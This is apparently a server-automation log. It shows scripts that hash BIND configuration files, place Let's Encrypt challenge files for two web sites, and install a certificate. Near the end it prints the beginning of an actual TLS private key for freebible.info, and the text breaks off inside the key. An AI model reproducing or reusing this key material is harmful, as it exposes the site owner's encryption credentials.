MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-18 06:00:02: Establishing a connection
2026-05-18 06:00:03: Establishing a connection
2026-05-18 06:00:03: 

PUT: /tmp/pkp760896

#!/bin/bash
if [ -d "/var/www/carelinks_new/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-18 06:00:03: 

chmod 755 /tmp/pkp760896; /tmp/pkp760896; rm /tmp/pkp760896

2026-05-18 06:00:03: 


1


2026-05-18 06:00:05: Establishing a connection
2026-05-18 06:00:05: 

PUT: /tmp/pkp646803

#!/bin/bash
mkdir -p "/var/www/carelinks_new/.well-known/acme-challenge/"
cd "/var/www/carelinks_new/.well-known/acme-challenge/"
cat > HKZyGCXKVGBB-alRH9Eb3W5ACTfzq5lJ1Eqew-eHQAY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
HKZyGCXKVGBB-alRH9Eb3W5ACTfzq5lJ1Eqew-eHQAY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 HKZyGCXKVGBB-alRH9Eb3W5ACTfzq5lJ1Eqew-eHQAY


2026-05-18 06:00:05: 

chmod 755 /tmp/pkp646803; /tmp/pkp646803; rm /tmp/pkp646803

2026-05-18 06:00:05: 




2026-05-18 06:00:06: Establishing a remote connection
2026-05-18 16:05:59: Establishing a connection
2026-05-18 16:06:06: Establishing a connection
2026-05-18 16:06:07: 

PUT: /tmp/pkp624015

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-18 16:06:07: 

runuser -l bind -s /bin/bash -c '/tmp/pkp624015; rm /tmp/pkp624015'

2026-05-18 16:06:07: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-18 16:06:16: Establishing a connection
2026-05-18 16:06:16: Establishing a connection
2026-05-18 16:06:17: 

PUT: /tmp/pkp999294

#!/bin/bash
if [ -d "/var/www/freebible_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-18 16:06:17: 

chmod 755 /tmp/pkp999294; /tmp/pkp999294; rm /tmp/pkp999294

2026-05-18 16:06:17: 


1


2026-05-18 16:06:18: Establishing a connection
2026-05-18 16:06:18: 

PUT: /tmp/pkp303319

#!/bin/bash
mkdir -p "/var/www/freebible_www/.well-known/acme-challenge/"
cd "/var/www/freebible_www/.well-known/acme-challenge/"
cat > kg5MovnC-oleQ1tEtk8YzT-DE3ujp75tf9xmHZncaEs <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
kg5MovnC-oleQ1tEtk8YzT-DE3ujp75tf9xmHZncaEs.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 kg5MovnC-oleQ1tEtk8YzT-DE3ujp75tf9xmHZncaEs
cat > bww5K3-IWJJ9rw02Ld4_VLq2cNfowwjuY-xXu45LjjQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
bww5K3-IWJJ9rw02Ld4_VLq2cNfowwjuY-xXu45LjjQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 bww5K3-IWJJ9rw02Ld4_VLq2cNfowwjuY-xXu45LjjQ


2026-05-18 16:06:18: 

chmod 755 /tmp/pkp303319; /tmp/pkp303319; rm /tmp/pkp303319

2026-05-18 16:06:18: 




2026-05-18 16:06:27: Establishing a connection
2026-05-18 16:06:27: 

PUT: /tmp/pkp534073

#!/bin/bash
mkdir -p "/var/www/freebible_www/.well-known/acme-challenge/"
cd "/var/www/freebible_www/.well-known/acme-challenge/"
rm kg5MovnC-oleQ1tEtk8YzT-DE3ujp75tf9xmHZncaEs
rm bww5K3-IWJJ9rw02Ld4_VLq2cNfowwjuY-xXu45LjjQ


2026-05-18 16:06:27: 

chmod 755 /tmp/pkp534073; /tmp/pkp534073; rm /tmp/pkp534073

2026-05-18 16:06:27: 




2026-05-18 16:06:27: Establishing a connection
2026-05-18 16:06:27: 

PUT: /tmp/pkp460772

#!/bin/bash
temp_file=$(mktemp)
TARGET=25d244ad83fcb448bd222b7039653b35.crt

cat > $temp_file <<'endmsg'
10:8a:64:20:ff:b3:09:43:71:1a:dd:f3:0d:c5:4a:a7

-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBs2/AyBH7ashL26m4oc1HA+mMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTE4MTUwNzU2WhcNMjYwODE2MTUwNzU1WjAZMRcwFQYDVQQD
Ew5mcmVlYmlibGUuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ALkRL4oQRpSXeOTuB+QLwiv3GVE1joWuGF7AylgtYwbiQDS4XeMdmAIyzS7p9QHA
6REzUo8Lkx6QQSdG3ygcLIJU67SOEFuPAjBcQPqrfjWB3wddhABPGaVX5zpoMvY/
tkSfxIxUJGza/kpXCKG03onwRuw/JAMIXk76HAsb5z1JyeBpSddbq71PSlPAH/zr
cSo995DDGsFNBeV3KVotdGiaIE+e/i8RTWwqx1PQDjIEJSTPWUl3UCH94Qej6DoV
JEcMR65+1r29170dDikzFgkJAFs/wyIUrbMqNcwTxphAJvquwqXDMtKOd04jAGMV
Ix/9sqpK5T84L1PJf24bpOkCAwEAAaOCAjAwggIsMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBSRlQHX
GB2UN0kgT+AmrOassMuC/DAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQOO9aS
MzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5j
ci5vcmcvMC0GA1UdEQQmMCSCDmZyZWViaWJsZS5pbmZvghJ3d3cuZnJlZWJpYmxl
LmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy8zOS5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6
APgAdgCUTkOH+uzB74HzGSQmqBhlAcfTXzgCAT9yZ31VNy4Z2AAAAZ471rMGAAAE
AwBHMEUCIQCgvr6yaoRm9iRKlzTw58/pVNEW+0ShLJEl9v2EbI9DsAIgZWbBAlot
nc8+I9UcYx+KgSk7D7uivjtXs1l+dDkMIwkAfgCoJsvjCsY1EkZTP+Bl8U8Z2W4Z
CBPEHdlteQCzEjxVJwAAAZ471rOmAAgAAAUAC3LDqAQDAEcwRQIhANZS3qk5pzoz
qvOQD06TjLC3cKuzNox9pCOxmrUZ3+S6AiBOk+7EYsbVFc7cBl+8wGrVDm8JoNig
tIXj4wfwQzALvzANBgkqhkiG9w0BAQsFAAOCAQEAGm6DKgwaf6R649vikh4OUBiK
j68/6sg+YRJ0H2ar7CBsIrB6uqt81d1Tts8zymnAx51fHW7qzDHzujfXNEqpamak
5ZhDewoQ2W1hT/cbCqxxVQm3XAQ379/fRSGktZo9bF/jCWyaSVSwoqoMVuSh42Mp
P+zUyM35dV1FPnuRll4U0g9pnSdEEcdR/O9SXAvoHPVtC6j+SWfShpJDHuAfZevJ
Y3w2YbrABbwPfyFSNgZVPMEHdhiZDnJNp4Ds5rauiUCo44GDA7IgSJmbwAeBDEPd
5gaICcP7KqXVUCtMNswha1Wpjnf2YdHVyKE+3mngxxeNHaT6stlz9T/o+PyTYQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQC5ES+KEEaUl3jk
7gfkC8Ir9xlRNY6FrhhewMpYLWMG4kA0uF3jHZgCMs0u6fUBwOkRM1KPC5MekEEn
Rt8oHCyCVOu0jhBbjwIwXED6q341gd8HXYQATxmlV+c6aDL2P7ZEn8SMVCRs2v5K
